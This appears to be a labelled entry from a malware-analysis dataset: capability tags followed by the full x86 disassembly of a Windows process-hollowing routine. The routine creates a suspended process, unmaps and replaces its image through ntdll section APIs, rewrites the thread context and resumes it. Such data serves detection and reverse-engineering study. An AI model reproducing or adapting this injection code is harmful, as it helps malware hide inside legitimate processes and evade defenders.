Function at 0x10016447
Capabilities:
Create process on windows
Create process suspended
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
mov esi, edx
mov dword [ebp - 0x2c], ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x18], eax
push str.ZwCreateSection
push str.ntdll
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
push str.ZwMapViewOfSection
push str.ntdll
mov dword [0x1006fd68], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
push str.ZwUnmapViewOfSection
push str.ntdll
mov dword [0x1006fd5c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
push str.ZwClose
push str.ntdll
mov dword [0x1006fd60], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
cmp dword [0x1006fd5c], 0
mov dword [0x1006fd64], eax
je 0x100167b1
cmp dword [0x1006fd60], 0
je 0x100167b1
cmp dword [0x1006fd68], 0
je 0x100167b1
test eax, eax
je 0x100167b1
push 0x44
pop edi
push edi
lea eax, [ebp - 0x84]
push 0
push eax
call fcn.10034cb0
mov dword [ebp - 0x84], edi
xor eax, eax
mov edi, ebx
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x100167b1
mov esi, dword [esi + 0x3c]
add esi, dword [ebp - 0xc]
cmp dword [esi], 0x4550
jne 0x100167b1
mov eax, dword [esi + 0x50]
xor edi, edi
push ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edi
mov eax, dword [esi + 0x34]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x84]
push eax
push edi
push edi
push 4
push edi
push edi
push edi
push dword [ebp - 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x100167ab
push 4
push 0x1000
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
push edi
mov dword [ebp - 0x30], edi
mov dword [edi], 0x10007
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10016777
lea eax, [ebp - 0x34]
push eax
push 4
lea eax, [ebp - 0x28]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10016777
push 0
push 0x8000000
push 0x40
lea eax, [ebp - 0x3c]
push eax
push 0
push 0xf001f
lea eax, [ebp - 0x14]
push eax
call dword [0x1006fd68]
test eax, eax
jne 0x10016777
movzx eax, word [esi + 0x16]
not eax
and eax, 1
mov dword [ebp - 0x20], eax
jne 0x10016610
mov eax, dword [ebp - 0x24]
push eax
push dword [ebx]
mov dword [ebp - 8], eax
call dword [0x1006fd60]
push 0x40
xor ecx, ecx
lea eax, [ebp - 0x1c]
push ecx
push 1
push eax
push ecx
push ecx
push ecx
lea eax, [ebp - 8]
push eax
push dword [ebx]
push dword [ebp - 0x14]
call dword [0x1006fd5c]
test eax, eax
je 0x10016673
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp - 0x14]
call dword [0x1006fd64]
push 0
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0xc]
inc edi
push 0
mov dword [ebp - 0x18], edi
cmp edi, 0x64
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop eax
jbe 0x10016469
jmp 0x100167b1
push 0x40
xor ecx, ecx
lea eax, [ebp - 0x1c]
push ecx
push 1
push eax
push ecx
push ecx
push ecx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x14]
call dword [0x1006fd5c]
test eax, eax
jne 0x10016777
cmp dword [ebp - 0x20], eax
je 0x100166a8
mov eax, dword [ebp - 8]
mov dword [esi + 0x34], eax
push dword [esi + 0x54]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.100352b0
mov ecx, dword [ebp - 0xc]
xor edx, edx
and dword [ebp - 0x2c], 0
add esp, 0xc
mov eax, dword [ecx + 0x3c]
cmp dx, word [esi + 6]
jae 0x10016702
mov edi, dword [ebp - 0x2c]
lea ebx, [ecx + 0x10c]
add ebx, eax
push dword [ebx - 4]
mov eax, dword [ebx]
add eax, ecx
push eax
mov eax, dword [ebx - 8]
add eax, dword [ebp - 0x10]
push eax
call fcn.100352b0
movzx eax, word [esi + 6]
lea ebx, [ebx + 0x28]
mov ecx, dword [ebp - 0xc]
add esp, 0xc
inc edi
cmp edi, eax
jl 0x100166d6
mov ebx, dword [ebp + 8]
mov edi, dword [ebp - 0x30]
cmp dword [ebp - 0x20], 0
mov ecx, dword [ebp - 8]
je 0x10016726
mov eax, dword [ebp - 0x24]
cmp eax, ecx
je 0x10016726
push 0
push ecx
mov ecx, dword [ebp - 0x10]
push 0
push eax
call fcn.10016830
mov ecx, dword [ebp - 8]
add esp, 0x10
cmp dword [ebp - 0x28], ecx
je 0x1001674c
push 0
push 4
lea eax, [ebp - 8]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10016777
mov ecx, dword [ebp - 8]
mov eax, dword [esi + 0x28]
add eax, ecx
push edi
mov dword [edi + 0xb0], eax
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10016777
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x10016777
mov al, 1
jmp 0x100167b3
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1006fd60]
push dword [ebp - 0x14]
call dword [0x1006fd64]
push 0
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x100167b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret